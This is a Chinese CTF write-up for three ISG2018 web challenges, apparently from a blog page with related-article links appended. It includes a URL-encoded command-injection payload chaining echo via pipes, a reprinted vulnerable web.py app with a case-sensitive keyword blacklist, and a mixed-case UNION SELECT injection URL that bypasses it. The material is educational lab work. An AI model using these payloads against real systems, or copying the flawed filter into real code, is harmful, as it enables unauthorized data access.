ISG2018 web题Writeup
0x01.命令注入
这题可以使用burpsuite扫出来,但是可能需要测一下。

得知payload为:i%7cecho%20gzavvlsv9c%20q9szmriaiy%7c%7ca%20%23'%20%7cecho%20gzavvlsv9c%20q9szmriaiy%7c%7ca%20%23%7c%22%20%7cecho%20gzavvlsv9c%20q9szmriaiy%7c%7ca%20%23
刚开始有点尴尬,以为不行了呢。

但是大家可以注意到,等号后面是输出了的,也就是说确实执行了echo的。
然后执行whoami确实执行成功了。

然后就是直接ls得到flag路径cat flag了。
0x02.
提供了如下py文件。
很简单可以看出是存在SQL注入的,但是有部分过滤。
#coding: utf8
import web
import os
import re
import sys
import sqlite3
from web.contrib.template import render_mako abspath = os.path.dirname(__file__)
sys.path.append(abspath)
#os.chdir(abspath)
urls = (
'/', 'index',
'/news-(.+).html', 'news',
# webpy URI route line by line.
) app = web.application(urls, globals(), autoreload=True) web.config.debug = True def my_loadhook():
web.header('content-type', 'text/html;charset=utf-8', unique=True) app.add_processor(web.loadhook(my_loadhook)) def notfound():
return web.notfound('') def internalerror():
return web.internalerror('') app.notfound = notfound
app.internalerror = internalerror render = render_mako(
directories=[abspath + '/templates'],
input_encoding='utf-8',
output_encoding='utf-8',
) def codesafe(n):
if re.search("select", n) or re.search(" ", n) or re.search("where", n) or re.search("=", n) or re.search("'", n):
return False
else:
return True class index:
def GET(self): try:
conn = sqlite3.connect(abspath + '/db/data.db')
except:
conn = sqlite3.connect('db/data.db')
cur = conn.cursor()
a = cur.execute('select id,title from news order by id asc').fetchall()
cur.close()
conn.close()
return render.index(list=a) class news:
def GET(self, id):
# try:
# id = web.input()['id']
# except:
# raise web.seeother('/')
if not codesafe(id):
return 'Hacker?'
try:
conn = sqlite3.connect(abspath + '/db/data.db')
except:
conn = sqlite3.connect('db/data.db')
cur = conn.cursor()
sql = 'select title,content from news where id = {0}'.format(id)
a = cur.execute(sql).fetchall()
cur.close()
conn.close()
return render.news(title=a[0][0], content=a[0][1]) if __name__ == '__main__':
app.run()
else:
application = app.wsgifunc()
因为根本都没有验证大小写所以直接大小写就可以绕过,这里分享一个比赛的tips,注入里好多表明列明都是flag,别去猜裤猜表了,直接select flag from flag试试。
所以得出payload为:http://202.120.7.206:60019/news-2/**/uNion/**/sELECT/**/1,flag/**/FROM/**/flag.html
0x03.
这题做出来的人比较多也比较low。之前刷题就刷到过。
一打开就是提示要输入密码

然后源码里看到了一个base64加密的发现并不是flag

最终直接curl http://202.120.7.207:60007/index.html得到flag
表示只会做WEB 至于PWN实在是有心无力。
ISG2018 web题Writeup的更多相关文章
- 实验吧 web题writeup
1.http://ctf5.shiyanbar.com/web/wonderkun/web/index.html 用户名我输入:or'xor"and"select"uni ...
- SycSec成都信息工程大学2019CTF-前五道WEB题writeup
一.WEB (1)一起来撸猫 flag藏在标签的注释内 <!--这是注释--> (2)你看见过我的菜刀么 eval漏洞 利用蚁剑连接 连接密码就是要post传的参数 连接成功后在网站根目 ...
- CTFHub Web题学习笔记(SQL注入题解writeup)
Web题下的SQL注入 1,整数型注入 使用burpsuite,?id=1%20and%201=1 id=1的数据依旧出现,证明存在整数型注入 常规做法,查看字段数,回显位置 ?id=1%20orde ...
- 实验吧web题:
实验吧web题: 这个有点简单 因为刚了解sqlmap,所以就拿sqlmap来练练手了 1,先测试该页面是否存在sql注入漏洞 2.找到漏洞页面,复制url,然后打开sqlmap 先查看当前数据库 然 ...
- jarvis OJ WEB题目writeup
0x00前言 发现一个很好的ctf平台,题目感觉很有趣,学习了一波并记录一下 https://www.jarvisoj.com 0x01 Port51 题目要求是用51端口去访问该网页,注意下,要用具 ...
- i春秋CTF web题(1)
之前边看writeup,边做实验吧的web题,多多少少有些收获.但是知识点都已记不清.所以这次借助i春秋这个平台边做题,就当记笔记一样写写writeup(其实都大部分还是借鉴其他人的writeup). ...
- XCTF攻防世界Web之WriteUp
XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...
- CTF--web 攻防世界web题 robots backup
攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...
- CTF--web 攻防世界web题 get_post
攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...
随机推荐
- mybatis 批量插入 返回主键id
我们都知道Mybatis在插入单条数据的时候有两种方式返回自增主键: 1.对于支持生成自增主键的数据库:增加 useGenerateKeys和keyProperty ,<insert>标签 ...
- 解决Lenovo(ldeapad)笔记本F1-F12功能键操作无效的问题
1.操作条件:Lenovo笔记本自带的“一键恢复”按钮 2.操作方法:上下键为切换选项,回车键(Enter)为确定选择 (1)在笔记本电脑关机状态下,使用曲别针或其他物件按下笔记本自带的“一键恢复按钮 ...
- inline函数的总结
在函数返回类型前加上关键字inline就可以将函数指定为内联函数: inline const string& shortString(const string &s1, const s ...
- Visual Studio 中设置npm
VS2017自带的npm会去国外的镜像下载文件, 奇慢无比, 还是马云家淘宝的镜像适合国内用户. 淘宝npm镜像地址: https://registry.npm.taobao.org VS中使用淘宝 ...
- AngularJS中$apply
$apply是$scope下的特性,传播model的变化.下面的例子两秒之后控制台会显示出已经更新的model, 然而, view 并没有更新.$digest循环不会只运行一次.在当前的一次循环结束后 ...
- [十五]SpringBoot 之 启动加载数据
实际应用中,我们会有在项目服务启动的时候就去加载一些数据或做一些事情这样的需求. 为了解决这样的问题,spring Boot 为我们提供了一个方法,通过实现接口 CommandLineRunner 来 ...
- POJ1275 Cashier Employment 【二分 + 差分约束】
题目链接 POJ1275 题解 显然可以差分约束 我们记\(W[i]\)为\(i\)时刻可以开始工作的人数 令\(s[i]\)为前\(i\)个时刻开始工作的人数的前缀和 每个时刻的要求\(r[i]\) ...
- MATLAB2010安装方法
MATLAB2010安装方法 第一步选择无网络安装. 选择yes,然后点击next 激活序列号在crack文件夹中的txt文档中 这一步按照图片上的显示操作就可以 选择经典安装 按提示操作,这一步事激 ...
- Codeforces 895.C Square Subsets
C. Square Subsets time limit per test 4 seconds memory limit per test 256 megabytes input standard i ...
- Servlet 介绍
JSP 的本质就是 Servlet,开发者把编写好的 JSP 页面部署在 Web 容器中后,Web 容器会将 JSP 编译成对应的 Servlet. Servlet 的开发 Servlet 是个特殊的 ...